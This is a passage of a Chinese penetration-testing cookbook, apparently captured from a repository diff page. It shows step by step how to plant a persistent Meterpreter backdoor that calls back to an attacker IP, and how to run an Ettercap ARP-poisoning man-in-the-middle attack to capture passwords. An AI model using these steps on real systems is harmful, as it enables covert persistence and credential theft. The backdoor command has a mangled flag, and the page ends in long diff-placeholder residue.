让我们开始植入我们的永久后门。你需要使用 Metasploit 攻击某个主机来获得 Meterpreter shell。你可以使用第六章的秘籍之一,来通过 Metasploit 获得目标主机的访问。
1. 一旦你通过 Metasploit 和 Meterpreter shell 获得了受害者的访问权限,等待你的 Meterpreter 显示提示符。
![](img/7-6-1.jpg)
2. 下面,我们需要运行 persistence,以便创建我们的后门。我们打开帮助文件:
```
run persistence –h
```
3. 永久后门有几个选项,包括:
+ `-A`:这个选项会自动启动一个匹配的多重处理器来链接到代理端。
+ `-S`:这个选项让后门自动化启动为系统服务。
+ `-U`:这个选项让后门在用户启动系统时自动启动。
+ `-i`:这个选项设置两次尝试回复攻击者机器之间的秒数。
+ `-p`:这个选项设置攻击者机器上 Metasploit 的监听端口。
+ `-P`:这个选项设置所用的载荷。默认使用` Reverse_tcp `,并且它通常是你想使用的东西。
+ `-r`:这个选项设置攻击者机器的 IP 地址。
4. 现在,我们执行命令来建立后门:
```
run persistence –U –A –i 10 – 8090 –r 192.168.10.109
```
5. 后门现在已经建立了。如果成功的话,你会注意到你有了第二个 Meterpreter 会话。
![](img/7-6-2.jpg)
### 工作原理
这个秘籍中,我们使用 Meterpreter 来建立永久后门。我们在黑进目标主机并获得 Meterpreter shell 之后开始了这个秘籍。之后我们通过浏览帮助文档那个,探索了一些可用的永久化方式。最后,我们通过运行安装命令并设置它的选项来完成后门的安装。
## 7.7 中间人(MITM)攻击
这个秘籍中,我们会对目标进行中间人(MITM)攻击。MITM攻击允许我们窃听目标和别人的通信。在我们的例子中,当某个 Windows 主机在<http://www.yahoo.com>收发邮件时,我们使用 Ettercap 来窃听它的通信。
### 准备
为了执行这个秘籍,我们需要:
+ 无线网络连接
+ 连接到无线网络的机器
### 操作步骤
让我们启动 Ettercap 来开始中间人攻击。
1. 打开终端窗口并启动 Ettercap。使用`-G`选项加载 GUI:
```
ettercap –G
```
![](img/7-7-1.jpg)
2. 我们以打开` Unified sniffing`(统一嗅探)开始。你可以按下`Shift + U`或者访问菜单中的` Sniff | Unified sniffing`
![](img/7-7-2.jpg)
3. 选择网络接口。在发起 MITM 攻击的情况中,我们应该选项我们的无线接口。
![](img/7-7-3.jpg)
4. 下面,我们打开`Scan for hosts`(扫描主机)。可以通过按下`Ctrl + S`或访问菜单栏的` Hosts | Scan for hosts`来完成。
![](img/7-7-4.jpg)
5. 下面,我们得到了`Host List`(主机列表)。你可以按下`H`或者访问菜单栏的`Hosts | Host List`
![](img/7-7-5.jpg)
6. 我们下面需要选择或设置我们的目标。在我们的例子中,我们选择`192.168.10.111`作为我们的`Target 1`,通过选中它的 IP 地址并按下` Add To Target 1 `(添加到目标 1)按钮。
![](img/7-7-6.jpg)
7. 现在我们能够让 Ettercap 开始嗅探了。你可以按下`Ctrl + W`或访问菜单栏的` Start | Start sniffing`
![](img/7-7-7.jpg)
8. 最后,我们开始进行 ARP 毒化。访问菜单栏的`Mitm | Arp poisoning`
![](img/7-7-8.jpg)
9. 在出现的窗口中,选中` Sniff remote connections`(嗅探远程连接)的选项。
![](img/7-7-9.jpg)
0. 取决于网络环境,我们会看到信息。
![](img/7-7-10.jpg)
1. 一旦我们找到了想要找的信息(用户名和密码)。我们可以关闭 Ettercap。你可以按下`Ctrl + E`或访问菜单栏的`Start | Stop sniffing`来完成它。
![](img/7-7-11.jpg)
2. 现在我们关闭 ARP 毒化,使网络恢复正常。
![](img/7-7-12.jpg)
### 工作原理
这个秘籍包括 MITM 攻击,它通过 ARP 包毒化来窃听由用户传输的无线通信。
> 你可以通过浏览<http://en.wikipedia.org/wiki/Man-in-the-middle_attack#Example_of_an_attack>来了解更多关于 MITM 的信息。
此差异已折叠。
此差异已折叠。
Thumb.db
\ No newline at end of file
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
此差异已折叠。
Markdown is supported
0% .
You are about to add 0 people to the discussion. Proceed with caution.
先完成此消息的编辑!
想要评论请 注册